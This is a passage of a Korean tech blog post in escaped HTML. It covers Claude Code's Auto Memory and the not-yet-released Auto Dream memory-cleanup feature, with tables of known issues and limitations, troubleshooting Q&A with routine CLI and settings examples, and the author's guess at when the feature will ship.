&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;투명성 부족&lt;/b&gt;: 무엇을 수정했는지 변경 이력(changelog)이 없음&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38493&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub #38493&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;정리 전후를 비교할 수 없다. 중요 프로젝트에서는 정리 전 &lt;code&gt;memory/&lt;/code&gt; 디렉토리를 백업해두는 것을 권장한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;토큰 비용&lt;/b&gt;: 메모리 정리에 많은 토큰이 소비될 수 있다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 논의&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용자가 요청하지 않은 서브에이전트 실행의 비용 모델은 미공개. Anthropic이 부담하는지, 사용자 토큰에서 차감되는지 확인되지 않았다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프라이버시&lt;/b&gt;: 메모리 내용이 정리 과정에서 API로 전송됨&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 논의&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Memory 자체가 세션 중 API로 전송되므로, Auto Dream도 동일한 프라이버시 범위 내이다. 민감 정보가 메모리에 저장되지 않도록 주의.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/dream 명령어 미작동&lt;/b&gt;: UI에서 안내하지만 실행하면 &quot;Unknown skill&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38426&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub #38426&lt;/a&gt;, &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;알려진 버그. &lt;code&gt;/dream&lt;/code&gt; 대신 자연어로 &quot;메모리를 정리해줘&quot;라고 요청하면 수동으로 동일한 작업을 할 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;독자 행동 지침 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Auto Dream이 활성화된 경우&lt;/b&gt;: 정리 후 반드시 &lt;code&gt;/memory&lt;/code&gt;로 결과 검토. 정리 전 &lt;code&gt;memory/&lt;/code&gt; 백업 권장.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Auto Dream이 비활성화된 경우&lt;/b&gt;: 섹션 5의 수동 정리 방법으로 동일한 효과를 얻을 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;민감 프로젝트&lt;/b&gt;: &lt;code&gt;CLAUDE_CODE_DISABLE_AUTO_MEMORY=1&lt;/code&gt;로 메모리 자체를 끄는 것을 고려.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대응&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Auto Dream 미출시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;UI에 보이지만 활성화 불가. 출시 일정 미정.&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;섹션 5의 수동 정리 방법 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;200줄 한도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MEMORY.md의 첫 200줄(또는 25KB)만 세션에 로딩&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;인덱스만 유지, 상세 내용은 토픽 파일로 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;잘못된 기억&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude가 잘못된 패턴을 학습할 수 있다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;로 주기적 검토. CLAUDE.md 규칙이 우선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;로컬 전용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Memory는 로컬 디스크에만 저장. 다른 머신과 공유 불가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;autoMemoryDirectory&lt;/code&gt;로 클라우드 스토리지 경로 지정 (사용자 설정만)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프라이버시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Memory는 로컬 저장이지만, 세션 중 API로 전송됨&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;민감 정보 저장 주의. 메모리만 끄려면 &lt;code&gt;CLAUDE_CODE_DISABLE_AUTO_MEMORY=1&lt;/code&gt; 또는 &lt;code&gt;autoMemoryEnabled: false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;커뮤니티 정보 혼동&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Memory 2.0&quot;, &quot;Auto Dream 사용법&quot; 등 미출시 기능을 출시된 것처럼 다루는 콘텐츠가 많다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;공식 문서와 체인지로그 직접 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1. /memory에서 Auto-dream 토글이 안 보인다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Claude Code 버전이 오래되었거나, 서버 사이드 feature flag가 비활성화된 상태일 수 있다. 최신 버전으로 업데이트해도 토글이 보이지 않을 수 있다 &amp;mdash; Auto Dream은 공식 문서에 없는 서버 게이트 기능이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 버전 확인
claude --version

# 최신 버전으로 업데이트
claude update
# legacy npm 설치인 경우
# npm update -g @anthropic-ai/claude-code&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. Auto-dream을 켤 수 없다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;점진적 롤아웃이 진행 중인 것으로 보인다.&lt;/b&gt; Auto Dream은 서버 사이드 feature flag로 제어된다. 일부 사용자에게는 활성화되어 있고(&quot;Auto-dream: on &amp;middot; last ran 1d ago&quot;), 다른 사용자에게는 잠겨 있다. &lt;code&gt;settings.json&lt;/code&gt;에 &lt;code&gt;&quot;autoDreamEnabled&quot;: true&lt;/code&gt;를 추가해볼 수 있지만, 이 키는 공식 설정 문서에 기재되어 있지 않으며(2026-03-31 기준, v2.1.88), 서버 플래그가 꺼져 있으면 효과가 없다. 활성화되기를 기다리면서, 섹션 5의 수동 정리 방법을 사용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3. /dream을 실행하면 &quot;unknown skill&quot;이 나온다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정상이다.&lt;/b&gt; &lt;code&gt;/dream&lt;/code&gt; 수동 명령어는 Auto Dream 자동 실행이 이미 켜진 사용자조차 &quot;unknown skill&quot;을 반환한다 (v2.1.88까지 미구현, GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;). 자동 실행과 수동 명령어는 별개로 구현 중이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대안 3가지:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;자연어 요청&lt;/b&gt;: &quot;메모리 파일들을 확인해서 모순되는 항목을 정리해줘. 상대 날짜는 절대 날짜로 바꾸고, 중복은 합쳐줘.&quot; (수동 실행, Auto Dream 기능은 아님)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;비공식 플러그인&lt;/b&gt;: &lt;a href=&quot;https://github.com/jl-cmd/claude-dream&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jl-cmd/claude-dream&lt;/a&gt; &amp;mdash; &lt;code&gt;/plugin marketplace add jl-cmd/claude-dream&lt;/code&gt;으로 설치. 커뮤니티 제작, 공식 지원 아님. [UNVERIFIED]&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;자동 실행 대기&lt;/b&gt;: Auto Dream이 활성화되면 조건 충족 시 백그라운드에서 자동으로 실행됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4. Claude가 이전 세션의 내용을 기억하지 못한다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확인사항:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;claude --version&lt;/code&gt;이 v2.1.59 이상인지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 Auto-memory가 &quot;on&quot;인지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;~/.claude/projects/*/memory/MEMORY.md&lt;/code&gt; 파일이 존재하는지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;CLAUDE_CODE_DISABLE_AUTO_MEMORY=1&lt;/code&gt; 환경변수가 설정되어 있지 않은지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q5. 메모리가 쌓여서 모순이 생겼다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Auto Dream이 해결하려는 정확히 이 문제다.&lt;/b&gt; 출시 전까지는 섹션 5의 수동 정리 방법을 사용한다. Claude에게 &quot;메모리를 확인해서 모순되는 항목을 정리해줘&quot;라고 요청하면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q6. &quot;run your autodream&quot;이라고 했더니 Claude가 뭔가 했다. 이게 Auto Dream인가?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아니다.&lt;/b&gt; Claude가 메모리 파일을 읽고 수정한 것이다. 이것은 Auto Dream 기능이 아니라, Claude의 일반적인 파일 편집 능력이다. Auto Dream은 세션 사이에 자동으로 실행되는 서브에이전트인데, 현재는 활성화되어 있지 않다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q7. 메모리에 잘못된 정보가 저장되어 있다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;code&gt;/memory&lt;/code&gt;로 열어서 직접 수정하거나 삭제한다. 또는 CLAUDE.md에 &quot;이 규칙을 따라라&quot;고 명시하면, 잘못된 Auto Memory보다 CLAUDE.md가 우선한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q8. 긴 세션에서 Claude가 초반 지시를 잊어버린다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Context Compaction이 발동하면서 초반 대화가 요약됨 (섹션 3 참조).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;중요 지시는 CLAUDE.md에 기록 (압축 후 재로딩됨)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;/compact focus on [핵심 주제]&lt;/code&gt;로 보존할 내용 지정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;/context&lt;/code&gt;로 현재 컨텍스트 사용량 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q9. 팀원과 Auto Memory를 공유하고 싶다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재:&lt;/b&gt; Auto Memory는 &lt;code&gt;~/.claude/&lt;/code&gt; 아래에 로컬로 저장되므로 직접 공유되지 않는다. 같은 git 리포를 클론하면 같은 프로젝트 경로를 가지지만, 메모리 파일 자체는 각자의 로컬 머신에 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대안:&lt;/b&gt; 팀 전체가 공유해야 하는 규칙은 CLAUDE.md에 작성하여 리포에 커밋한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q10. 다른 머신으로 메모리를 옮기고 싶다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; Auto Memory는 &lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/&lt;/code&gt;에 일반 마크다운 파일로 저장된다. 해당 디렉토리를 복사하면 된다. 또는 &lt;code&gt;autoMemoryDirectory&lt;/code&gt; 설정으로 커스텀 경로(예: Dropbox, iCloud Drive)를 지정하여 머신 간 동기화할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;autoMemoryDirectory&quot;: &quot;~/Library/Mobile Documents/com~apple~CloudDocs/claude-memory&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;다만 &lt;code&gt;autoMemoryDirectory&lt;/code&gt;는 보안상 사용자/로컬 설정에서만 허용되고, 프로젝트 설정(&lt;code&gt;.claude/settings.json&lt;/code&gt;)에서는 사용할 수 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 12 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 결론: 언제 쓸 수 있을까&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream은 &quot;있지만 없는&quot; 기능이다. UI에 존재하고, 코드베이스에 구현되어 있고, 일부 사용자에게는 이미 활성화되어 있다. 하지만 대부분의 사용자에게는 아직 잠겨 있으며, &lt;code&gt;/dream&lt;/code&gt; 명령어 핸들러가 연결되지 않은 등 미완성 상태다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;이미 준비된 것&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;이론적 기반&lt;/b&gt;: Sleep-time Compute 논문 (2025년 4월)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;실행 인프라&lt;/b&gt;: Cloud Scheduled Tasks, Desktop Scheduled Tasks 등 기존 스케줄링 기능이 활용될 수 있을 것으로 보인다 (공식 확인되지 않음)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;UI&lt;/b&gt;: &lt;code&gt;/memory&lt;/code&gt; 메뉴에 이미 표시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Feature flag&lt;/b&gt;: 서버에서 켜기만 하면 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;남은 질문&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;비용&lt;/b&gt;: 사용자가 요청하지 않은 서브에이전트 실행 비용을 누가 부담하는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;투명성&lt;/b&gt;: 메모리 내용이 정리 과정에서 API로 전송된다는 사실을 어떻게 고지하는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;기본값&lt;/b&gt;: opt-in(사용자가 켜야 함)인가, opt-out(기본 켜짐)인가?&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;출시 시기 추정&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;기술적으로는 출시 준비가 되어 있다. 남은 것은 비즈니스 결정(비용 모델, 프라이버시 정책, 기본값 설정)이다. 2026년 상반기 내 출시될 가능성이 있지만, 정확한 일정은 Anthropic만 알고 있다. feature flag가 보이지만 출시되지 않는 기능도 존재할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지금 할 수 있는 것&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;시점&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;행동&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;오늘&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;로 현재 메모리 확인. Claude가 뭘 기억하고 있는지 한번 훑어보기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md에 프로젝트 규칙 정리. Auto Memory와 역할 분담 명확히 하기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;매주&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;섹션 4의 체크리스트로 수동 메모리 정리 (Auto Dream이 할 일을 직접 하기)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Auto Dream 출시 후&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 Auto-dream 토글 확인. 켜져 있으면 수동 정리를 줄여도 된다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;How Claude remembers your project&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;체인지로그: &lt;a href=&quot;https://code.claude.com/docs/en/changelog&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code Changelog&lt;/a&gt;&lt;/li&gt;
